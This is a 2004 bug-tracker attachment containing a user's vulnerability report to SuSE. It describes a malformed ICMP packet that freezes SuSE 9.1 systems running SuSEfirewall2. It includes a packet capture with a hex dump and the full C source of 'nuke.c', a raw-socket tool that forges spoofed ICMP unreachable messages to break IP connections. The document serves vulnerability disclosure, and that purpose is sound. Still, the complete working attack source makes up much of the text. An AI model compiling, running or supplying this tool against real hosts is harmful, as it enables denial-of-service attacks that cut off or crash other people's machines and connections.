Attachment 23931 Details for Bug 61016

original report with sample code?

foo (text/plain), 11.60 KB, created by Marcus Meissner on 2004-09-24 18:31:19 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Marcus Meissner

Created: 2004-09-24 18:31:19 UTC

Size: 11.60 KB

patch

obsolete

>I will make this my final attempt to notify SuSE Linux AG before posting
>this flaw to "full disclosure" and other mailing lists.
>
>I have made two bug reports
>
> (Ticket [20040729990000118])
> (Ticket [20040920990000230])
>
>The first was over 8 weeks ago and second was two days ago. Perhaps I
>should have gone straight to the secuity team to begin with.
>
>I know that the first bug report was not clear and I was uncertain at
>the time what the cause was and where it was. I am certain now that
>SuSEfirewall2 is part of the problem. I am not sure if it is how the
>kernel handles the drop or not. I am not a programer, nor do I
>understand how the firewall handles its responses  to "bad" packets.
>
>There is a flaw the SuSE Professional 9.1  SuSEfirewall2 that will cause
>a complete freeze of the box when a certain malformed ICMP packet is
>sent to the firewall. The thing that I find most interesting is that
>this attack was written to attack Windows boxes. If the firewall is
>turned off the packet in question will have no effect on the box. When
>the firewall is turned on, an imediate freeze is caused which requires a
>hard power down and and then a cold boot.
>
>I discovered that the firewall was vulnerable while testing out the
>firewall rule sets. I was using various online port scanners to check
>for open ports. Generally speaking I try to keep my computer as
>stealthed out as possible. I -DROP as many ICMP packet types as possible
>to hide my box. Since I am not running any services that should be
>accessed from the internet, I -DROP everything I can. I came across a
>vulnerabilty scanner and ran it just for fun. To my surprise by bos
>froze solid. After further testing I isolated the specific attack that
>caused the freeze.
>
>I suppose that I could have broken something when making changes to
>SuSEfirewall2 or the config files. If you would like to see my files let
>me know.
>
>If you are not able to replicate this let me know.
>If you able to replicate this let me know.
>
>I am not anxious to send this info out to the public since I am running
>9.1, but in the spirit of encouraging you to fix this I will release the
>info. I am disappointed that I never got any kind of response regarding
>either of my bug reports. I know that you must be busy but this seems to
>me like a major DoS flaw that needs to be addressed.
>
>Here is a cooked capture done with ethereal with the firewall turned off
>(since this packet will kill the system with the firewall on):
>
>I guess that if I don't hear back from you by Tuesday 29 Sept. 2004 you
>are not taking this seriously.
>
>Thanks for your time,
>
>Richard Hart
>
>
>----------------------------------------------------------------------------------------------
>
>Frame 5995 (128 bytes on wire, 128 bytes captured)
>    Arrival Time: Sep 22, 2004 21:24:34.653482000
>    Time delta from previous packet: 0.013499000 seconds
>    Time since reference or first frame: 2973.986793000 seconds
>    Frame Number: 5995
>    Packet Length: 128 bytes
>    Capture Length: 128 bytes
>Linux cooked capture
>    Packet type: Unicast to us (0)
>    Link-layer address type: 512
>    Link-layer address length: 0
>    Source: <MISSING>
>    Protocol: IP (0x0800)
>Internet Protocol, Src Addr: 195.131.4.164 (195.131.4.164), Dst Addr:
>64.75.190.100 (64.75.190.100)
>    Version: 4
>    Header length: 20 bytes
>    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
>        0000 00.. = Differentiated Services Codepoint: Default (0x00)
>        .... ..0. = ECN-Capable Transport (ECT): 0
>        .... ...0 = ECN-CE: 0
>    Total Length: 112
>    Identification: 0x7ac0 (31424)
>    Flags: 0x00
>        0... = Reserved bit: Not set
>        .0.. = Don't fragment: Not set
>        ..0. = More fragments: Not set
>    Fragment offset: 0
>    Time to live: 50
>    Protocol: ICMP (0x01)
>    Header checksum: 0x46f6 (correct)
>    Source: 195.131.4.164 (195.131.4.164)
>    Destination: 64.75.190.100 (64.75.190.100)
>Internet Control Message Protocol
>    Type: 3 (Destination unreachable)
>    Code: 3 (Port unreachable)
>    Checksum: 0x82f8 (incorrect, should be 0xf882)
>    Internet Protocol, Src Addr: 64.75.190.100 (64.75.190.100), Dst
>Addr: 192.168.0.3 (192.168.0.3)
>        Version: 4
>        Header length: 20 bytes
>        Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
>            0000 00.. = Differentiated Services Codepoint: Default (0x00)
>            .... ..0. = ECN-Capable Transport (ECT): 0
>            .... ...0 = ECN-CE: 0
>        Total Length: 104
>        Identification: 0x0000 (0)
>        Flags: 0x00
>            0... = Reserved bit: Not set
>            .0.. = Don't fragment: Not set
>            ..0. = More fragments: Not set
>        Fragment offset: 0
>        Time to live: 179
>        Protocol: TCP (0x06)
>        Header checksum: 0x0000 (incorrect, should be 0x4835)
>        Source: 64.75.190.100 (64.75.190.100)
>        Destination: 192.168.0.3 (192.168.0.3)
>    Transmission Control Protocol, Src Port: 23 (23), Dst Port: 80 (80),
>Seq: 659956978
>        Source port: 23 (23)
>        Destination port: 80 (80)
>        Sequence number: 659956978
>        Header length: 0 bytes (bogus, must be at least 20)
>
>0000  00 00 02 00 00 00 00 00 00 00 00 00 00 00 08 00   ................
>0010  45 00 00 70 7a c0 00 00 32 01 46 f6 c3 83 04 a4   E..pz...2.F.....
>0020  40 4b be 64 03 03 82 f8 00 00 00 00 45 00 00 68   @K.d........E..h
>0030  00 00 00 00 b3 06 00 00 40 4b be 64 c0 a8 00 03   ........@K.d....
>0040  00 17 00 50 27 56 24 f2 00 00 00 00 00 00 00 00   ...P'V$.........
>0050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
>0060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
>0070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
>
>------------------------------------------------------------------------------------------------------
>
>I believe that this packet is generated by nuke.c  :
>
>///////////////////////////////////////////////////////////
>
>
>
>
>/*
> *  nuke.c version 1.0 04/25/92
> *    by Satanic Mechanic.
> *
> *  must be root to open raw sockets. this version will kill
> *  almost any ip connection.
> *  ----------------------------------------------------------------
> *  I strongly advise against even compiling this software. It's far
> *  too dangerous, and the temptation may be there to do some real
> *  damage with it.  Read and learn, that's it, eh?  -concerned
> *  ----------------------------------------------------------------
> *
> */
>
>#include <netdb.h>
>#include <sys/time.h>
>#include <sys/types.h>
>#include <sys/socket.h>
>#include <netinet/in.h>
>#include <netinet/in_systm.h>
>#include <netinet/ip.h>
>#include <netinet/ip_icmp.h>
>#include <netinet/tcp.h>
>#include <signal.h>
>#include <errno.h>
>#include <string.h>
>#include <stdio.h>
>
>#define DEFAULT_UNREACH ICMP_UNREACH_PORT
>
>char *icmp_unreach_type[] = {
>    "net",
>    "host",
>    "protocol",
>    "port",
>    "frag",
>    "source",
>    "destnet",
>    "desthost",
>    "isolated",
>    "authnet",
>    "authhost",
>    "netsvc",
>    "hostsvc"
>};
>
>#define MAX_ICMP_UNREACH (sizeof(icmp_unreach_type)/sizeof(char *))
>
>int resolve_unreach_type(arg)
>    char *arg;
>{
>    int i;
>
>    for (i=0; i <MAX_ICMP_UNREACH; i++) {
>        if (!strcmp(arg,icmp_unreach_type[i])) return i;
>    }
>    return -1;
>}
>
>int resolve_host (host,sa)
>    char *host;
>    struct sockaddr_in *sa;
>{
>    struct hostent *ent ;
>
>    bzero(sa,sizeof(struct sockaddr));
>    sa->sin_family = AF_INET;
>    if (inet_addr(host) == -1) {
>        ent = gethostbyname(host);
>        if (ent != NULL) {
>            sa->sin_family = ent->h_addrtype;
>            bcopy(ent->h_addr,(caddr_t)&sa->sin_addr,ent->h_length);
>            return(0);
>        }
>        else {
>            fprintf(stderr,"error: unknown host %s\n",host);
>            return(-1);
>        }
>    }
>    return(0);
>}
>
>in_cksum(addr, len)             /* from ping.c */
>u_short *addr;
>int len;
>{
>        register int nleft = len;
>        register u_short *w = addr;
>        register int sum = 0;
>        u_short answer = 0;
>
>        /*
>         *  Our algorithm is simple, using a 32 bit accumulator (sum),
>         *  we add sequential 16 bit words to it, and at the end, fold
>         *  back all the carry bits from the top 16 bits into the lower
>         *  16 bits.
>         */
>        while( nleft > 1 )  {
>                sum += *w++;
>                nleft -= 2;
>        }
>
>        /* mop up an odd byte, if necessary */
>        if( nleft == 1 ) {
>                *(u_char *)(&answer) = *(u_char *)w ;
>                sum += answer;
>        }
>
>        /*
>         * add back carry outs from top 16 bits to low 16 bits
>         */
>        sum = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
>        sum += (sum >> 16);                     /* add carry */
>        answer = ~sum;                          /* truncate to 16 bits */
>        return (answer);
>}
>
>int icmp_unreach(host,uhost,port,type)
>     char *host,*uhost;
>     int type,port;
>{
>    struct sockaddr_in name;
>    struct sockaddr dest,uspoof;
>    struct icmp *mp;
>    struct tcphdr *tp;
>    struct protoent *proto;
>
>    int i,s,rc;
>    char *buf = (char *) malloc(sizeof(struct icmp)+64);
>    mp = (struct icmp *) buf;
>    if (resolve_host(host,&dest) <0) return(-1);
>    if (resolve_host(uhost,&uspoof) <0) return(-1);
>    if ((proto = getprotobyname("icmp")) == NULL) {
>        fputs("unable to determine protocol number of \"icmp\n",stderr);
>        return(-1);
>    }
>    if ((s = socket(AF_INET,SOCK_RAW,proto->p_proto)) <0 ) {
>        perror("opening raw socket");
>        return(-1);
>    }
>
>    /* Assign it to a port */
>    name.sin_family = AF_INET;
>    name.sin_addr.s_addr = INADDR_ANY;
>    name.sin_port = htons(port);
>
>    /* Bind it to the port */
>    rc = bind(s, (struct sockaddr *) & name, sizeof(name));
>    if (rc == -1) {
>      perror("bind");
>      return(-1);
>    }
>
>    if ((proto = getprotobyname("tcp")) == NULL) {
>        fputs("unable to determine protocol number of \"icmp\n",stderr);
>        return(-1);
>    }
>
>    /* the following messy stuff from Adam Glass (icmpsquish.c) */
>    bzero(mp,sizeof(struct icmp)+64);
>    mp->icmp_type = ICMP_UNREACH;
>    mp->icmp_code = type;
>    mp->icmp_ip.ip_v = IPVERSION;
>    mp->icmp_ip.ip_hl = 5;
>    mp->icmp_ip.ip_len = htons(sizeof(struct ip)+64+20);
>    mp->icmp_ip.ip_p = IPPROTO_TCP;
>    mp->icmp_ip.ip_src = ((struct sockaddr_in *) &dest)->sin_addr;
>    mp->icmp_ip.ip_dst = ((struct sockaddr_in *) &uspoof)->sin_addr;
>    mp->icmp_ip.ip_ttl = 179;
>    mp->icmp_cksum = 0;
>    tp = (struct tcphdr *)   ((char *) &mp->icmp_ip+sizeof(struct ip));
>    tp->th_sport = 23;
>    tp->th_dport = htons(port);
>    tp->th_seq = htonl(0x275624F2);
>    mp->icmp_cksum = htons(in_cksum(mp,sizeof(struct icmp)+64));
>    if ((i= sendto(s,buf,sizeof(struct icmp)+64, 0,&dest,sizeof(dest)))
><0 ) {
>        perror("sending icmp packet");
>        return(-1);
>    }
>    return(0);
>}
>
>void main(argc,argv)
>     int argc;
>     char **argv;
>{
>    int i, type;
>
>    if ((argc <4) || (argc >5)) {
>        fprintf(stderr,"usage: nuke host uhost port [unreach_type]\n");
>        exit(1);
>    }
>
>    if (argc == 4) type = DEFAULT_UNREACH;
>    else type = resolve_unreach_type(argv[4]);
>
>    if ((type <0) ||(type >MAX_ICMP_UNREACH)) {
>        fputs("invalid unreachable type",stderr);
>        exit(1);
>    }
>    if (icmp_unreach(argv[1],argv[2],atoi(argv[3]),type) <0) exit(1);
>    exit(0);
>}
>
>
>
>----------------------------------------------------------------------------------------------------
>

Actions: View

Attachments on bug 61016: 23931 | 23938 | 23940 | 23941 | 23949